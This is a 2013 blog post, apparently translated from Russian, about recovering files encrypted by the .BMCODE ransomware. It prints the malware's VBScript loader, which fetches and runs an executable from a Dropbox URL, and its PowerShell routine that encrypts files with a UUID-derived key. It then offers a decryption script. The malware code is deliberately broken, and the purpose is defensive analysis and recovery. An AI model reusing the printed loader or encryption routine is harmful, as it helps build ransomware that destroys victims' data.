PowerShell Decrypting files after exposure to the "virus"

Published on February 07, 2013

PowerShell Decrypting files after exposure to the "virus"

In a certain city of Russia
(Maybe even in yours)
There is no small company.
Leases premises
At the NIImorgorvorprom.

This company has an employee who likes to read mail. It opens somehow the file, someone deliberately enclosed, in the bowels of the letter of the person who arrived. Running without a second thought, “Thank you note. Hta” and not seeing congratulations, I decided to smoke a little. Returning from a smoke break, he reads in concern:

If you read this message, it means that your computer has been attacked by a dangerous virus.
All your information (documents, films and other files) on this computer has been encrypted
using the most cryptographic algorithm in the world of RSA1024.
Files can only be restored using a special program. To receive it, you need
to write us an email at unblockme@tormail.org

If you try to decrypt without our program, the files may be damaged!
Attach a file to the letter, which is located on the desktop "READ_ME_NOW !!!!!!. TXT", or this file
Threat messages will only threaten you and your files! DON'T FORGET: only WE can decrypt your files!

pz8FkWJXdijcajJcWfhJ27TGPgcNNEKXDBcsdyzfX + lUoq68eAptVmGNIYLD8eti1kwicdOR59pwOC7XM7T + YLccqyeJqc5loxMCKy4pklzbMJBm etc.


Now the same thing in other words. The employee received a letter with the attachment “Thank you note. Rar.” The body of the letter indicated that the archive was password-protected and a password was given. It just so happened that these days clients sent similar letters and the employee did not suspect anything. By opening the archive and launching the “Thank you note. Hta” attachment. After some time, almost all files acquired the .BMCODE extension (appended to the end without deleting the text of the original extension) and in each folder lay READ_ME_NOW !!!!!!. Txt with the above text. The user said "where it is necessary" and "who is needed" got down to business.
First of all, without a panic, they looked at this * .hta and saw:
The original code here and below is slightly modified and commented out so that there are no accidental launches.
Hta code
<!-- Тут много знаков в base64-->
<html>
    <head>
        <meta charset="windows-1251">
    </head>
	<HTA:APPLICATION  
     ID="objHTA_Info"  
     APPLICATIONNAME="HTA_Info"  
     SINGLEINSTANCE="yes" >  
    <body>
        <script language=VBScript>
'Execute base64decode(" Тут тоже много знаков в base64 ")
Function base64decode(data)
			a="CDO.Message"
			set b=CreateObject(a)
    With b.BodyPart
        .ContentTransferEncoding = "base64"
        .Charset = "windows-1251"
        With .GetEncodedContentStream
            .WriteText data
            .Flush
        End With
        With .GetDecodedContentStream
            .Charset = "utf-8"
            base64decode = .ReadText
        End With
    End With
End Function
        </script>
    </body>
</html>


We look further (the department began to have a tantrum from laughing how brilliant and simple everything is):

Execute base64decode (
a1686979793=1686979793:
 Const SYSTEM32 = &H25:Set
# fso = CreateObject("Scripting.FileSystemObject"):
Set objShell = CreateObject("Shell.Application"):
Set wshShell = CreateObject( "WScript.Shell" ):
#Set objFolder = objShell.Namespace(SYSTEM32):
Set objFolderItem = objFolder.Self:
filepath = replace(objHTA_Info.commandLine,chr(34),""):
arguments = " -command $path=((get-content -Path '" + filepath + "' -totalcount 1) -split '%'[1];
#$bytes  = [System.Convert]::FromBase64String($path);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes);
Invoke-Expression $decoded":
Path = objFolderItem.Path + "\WindowsPowerShell\v1.0\powershell.exe":
newPath = Path & arguments:RarPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell.exe":
TestPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell\powershell.exe":.
appNewPath = wshShell.ExpandEnvironmentStrings("%TMP%") & "\powershell\powershell.exe" & arguments:
If (fso.FileExists(Path)) Then:
wshShell.Run newPath, 0, False: 
       Else       :                
#If Not (fso.FileExists(TestPath)) Then:
 dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP"):  
 dim bStrm: Set bStrm = createobject("Adodb.Stream"):
 xHttp.Open "GET", "https://dl.dropbox.com/sh/wn8x35r9l9wsitn/XSwafOFh9E/powershell.exe?dl=1", False: 
 xHttp.Send:
 with bStrm:   
 .type = 1:
 .open:
 #.write xHttp.responseBody: 
 .savetofile RarPath, 2:
 end with:
 wshShell.Run RarPath, 0, True:
 End If               :
 wshShell.Run appNewPath, 0, True   :
End If


Having roughly understood that the main thing is that PowerShell is being downloaded from the account at dropbox.com, we are losing interest in this piece.
Further:

first piece in base64
$1686979793=1686979793;
$ErrorActionPreference="SilentlyContinue";
if(((Get-Process -Name powershell).count) -ge 2){exit}$ref=[Reflection.Assembly]::LoadWithPartialName('System.Security');
Add-Type -Assembly System.Web;
$ek=(get-wmiobject Win32_ComputerSystemProduct).UUID;
[byte[]]$bytes=[system.Text.Encoding]::Unicode.GetBytes($ek);
$basekey="BgIAAACkAABSU0ExAAQAAAEAAQDTYUZyVxhh48R/1Y/H5NdEgi49DIHtJTXm+mcVHnvUpYiNEnxpFj/UJXVDg0F2rfWFpnyqHJ0dbyjsOCwMX0eRyp2VxrWFzOHIM6QpevxGF9izXeNq7+OzBuo11V/7EmvQBW2sfuNEOP7zdUw0DFKoK+X2Taewaki1LGYhpshjqg==";
#$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider;
#$rsa.ImportCspBlob([system.Convert]::FromBase64String($basekey));
$enckey=[system.Convert]::ToBase64String($rsa.Encrypt($bytes, $false));
$text= "Если Вы читаете это сообщение, значит Ваш компьютер был атакован опаснейшим вирусом.`r`nВся Ваша информация (документы, фильмы и другие файлы) на этом компьютере была зашифрована`r`nс помощью самого криптостойкого алгоритма в мире RSA1024.`r`nВосстановить файлы можно только при помощи специальной программы. Чтобы её получить, Вам необходимо`r`nнаписать нам письмо на адрес unblockme@tormail.org`r`nПри попытке расшифровки без нашей программы файлы могут повредиться!`r`nК письму прикрепите файл, который находится на рабочем столе `"READ_ME_NOW!!!!!!.TXT`", либо этот файл`r`nПисьма с угрозами будут угрожать только Вам и Вашим файлам! 
НЕ ЗАБУДЬТЕ: только МЫ можем расшифровать Ваши файлы!`r`n`r`n" + $enckey;
#function Encrypt-File($item, $Passphrase){
$salt="BMCODE hack your system";
$init="BMCODE INIT";
$r = new-Object System.Security.Cryptography.RijndaelManaged;
$pass = [Text.Encoding]::UTF8.GetBytes($Passphrase);
$salt = [Text.Encoding]::UTF8.GetBytes($salt);
$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32);
$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15];
$r.Padding="Zeros";
$r.Mode="CBC";
$c = $r.CreateEncryptor();
$ms = new-Object IO.MemoryStream;
$cs = new-Object Security.Cryptography.CryptoStream $ms,$c,"Write";
$cs.Write($item, 0,$item.Length);
$cs.Close();
$ms.Close();
$r.Clear();
return $ms.ToArray();
}
#$disks=Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;
foreach($disk in $disks){gci $disk.root -Recurse -Include "*.doc",Неприлично много форматов,"*.1cd"  |%{try {$file=[io.file]::Open($_, Open', 'ReadWrite');
#if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}
[byte[]]$buff = new-object byte[] $size;
$ToEncrypt = $file.Read($buff, 0, $buff.Length);
$file.Position='0';
#$Encrypted=Enckrypt-File $buff $ek;
$file.Write($Encrypted, 0, $Encrypted.Length);
$file.Close();
#$newname=$_.Name+'.BMCODE';
#ren -Path $_.FulName -NewName $nename -Force;
$path=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT';
if(!(Test-Path $path)){sc -pat $path -va $text}
}
catch{}
}
}

We read, read and exhale with relief. There is no talk of any total encryption of the files.
So. First of all, we are looking for keys. We see the lines:
 $Encrypted=Enckrypt-File $buff $ek;
 $ek=(get-wmiobject Win32_ComputerSystemProduct).UUID;

and understand that the key uses the UUID of the computer. From this moment it becomes even easier and almost boldly forget about the first part, where a scary key is formed, which is added to * .TXT

Next we see:
if ($file.Length -lt "40960"){$size=$file.Length}else{$size="40960"}; 
[byte[]]$buff = new-object byte[] $size;

From this we find out that not the whole file is encrypted, but only the first part if the file size is more than 40kb, if less, then the whole file.
It remains to find out the UUID of the computer and write a script for decryption.
We recognize the UUID with the same command.
(get-wmiobject Win32_ComputerSystemProduct).UUID

Running in PowerShell, which the malware carefully downloaded and did not remove from% TEMP%.

Now for writing the script. The difficulty arose only in the understanding (and this was due to a lack of knowledge, since it had not been necessary to encounter before) that, according to the examples of M $, such functions pass a string as a parameter, but here they simply use an array.

Actually, that learned. This code is working, with no changes and with extra conclusions for tracking the work process.
Dec_beta, ps1
cls
$null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
$ek='00000000-0000-0000-0000-6CF04916E0EA';
 function Decrypt-String($Encrypted, $Passphrase){    
   $salt="BMCODE hack your system"
   $init="BMCODE INIT"
   $r = new-Object System.Security.Cryptography.RijndaelManaged 
   $pass = [Text.Encoding]::UTF8.GetBytes($Passphrase) 
   $salt = [Text.Encoding]::UTF8.GetBytes($salt) 
   $r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1", 5).GetBytes(32)
   $r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($init) )[0..15]
   $r.Padding="Zeros";
   $r.Mode="CBC";
   $d = $r.CreateDecryptor()
   $ms = new-Object IO.MemoryStream @(,$Encrypted) 
   $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read" 
   $Enc=$cs.read($Encrypted, 0,$Encrypted.Length)
   $cs.Close();
   $ms.Close();
   $r.Clear(); 
   return [byte[]]$Encrypted = $ms.ToArray()
}
 $dir= read-host "Введите полный пусь к папке или диску (Примеры: C:\, D:\111\)" 
gci $dir -Recurse -Include "*.BMCODE" |%{try 
{$_;
$file=[io.file]::Open($_, 'Open', 'ReadWrite');
#Wrire-host $file.Name;
write-Host "Размер файла:  $file.Length";
If ($file.Length -lt "40960"){$size=$file.Length}
Else{$size="40960"}
[byte[]]$buff = new-object byte[] $size;
$ToEncrypt = $file.Read($buff, 0, $buff.Length);
write-host $size;
$file.Position='0';
$arr=Decrypt-String $buff $ek;
Write-host $_.Name
Write-host $_.FullName
$file.Write($arr, 0, $arr.Length);
Write-host "Done";
$file.Close();
$newname=$_.Name -replace '.BMCODE','';
ren -Path $_.FullName -NewName $newname -Force;
Write-Host "Новое имя: $_.Name";
$hnya=$_.DirectoryName+'\READ_ME_NOW!!!!!!.TXT'
rm $hnya;
}
catch{}
}

What he does, what needs to be changed if needed by himself:
1) we set the $ ek manual variable with the desired key (in our case, UUID)
2) Description of the decoding function that returns the array. We set the variables $ salt and $ init according to what they were in the source code of the malware.
3) We ask the launcher to specify the path starting from which the file search will be
performed (we look for the subfolders) 4) Each file found with the specified extension (.BMCODE) is decoded and renamed to normal.
5) Along the way, files with the name READ_ME_NOW !!!!!!. TXT, which the malware created, are deleted.

The code is not perfect and much can be simplified and rewritten, but most importantly - it works and helps.

That's all. I hope this article will help everyone who has already encountered a similar problem and does not know what to do. As they say in RuNet, cybercriminals require 3,000 to 10,000 rubles for decryption, but there are more sophisticated malware variants where you simply can’t find out the key.

I say goodbye to Sim and hope that I will even find the time and write how we installed video surveillance in our NIIimorgorvprom industry and hung the mouse as a bell on the department door.

UPD
According to the results of correspondence.
Variant .TFCODE Variant .TFCODE
uses a random password with a length of 50 characters. The password file was found in
C: \ Documents and Settings \ USER \ Application Data. File System Product Name

The malware code implements a kind of restart check
$idpath = $env:APPDATA + "\" + (gwmi win32_computersystem).model;
if(Test-Path $idpath){$getc = Get-Content $idpath;
if ($getc -eq "good"){exit} else {$ek = $getc}}
......
Set-Content -Path $idpath -Value "good"


If good has already been written to the file, then the key is no longer so easy to find. So, if you accidentally launched a malware or noticed that the files began to change extensions, immediately turn off the computer to stop the encryption process and save the key.

The rest is the same. In the variable $ ek we put the line from the found file. Change .BMCODE to .TFCODE, check the variables $ salt and $ init and change the name * .TXT to what was created in the folders (READ_ME_NOW.TXT).
We make a trial run on copies of encrypted files. If all is well, then rejoice.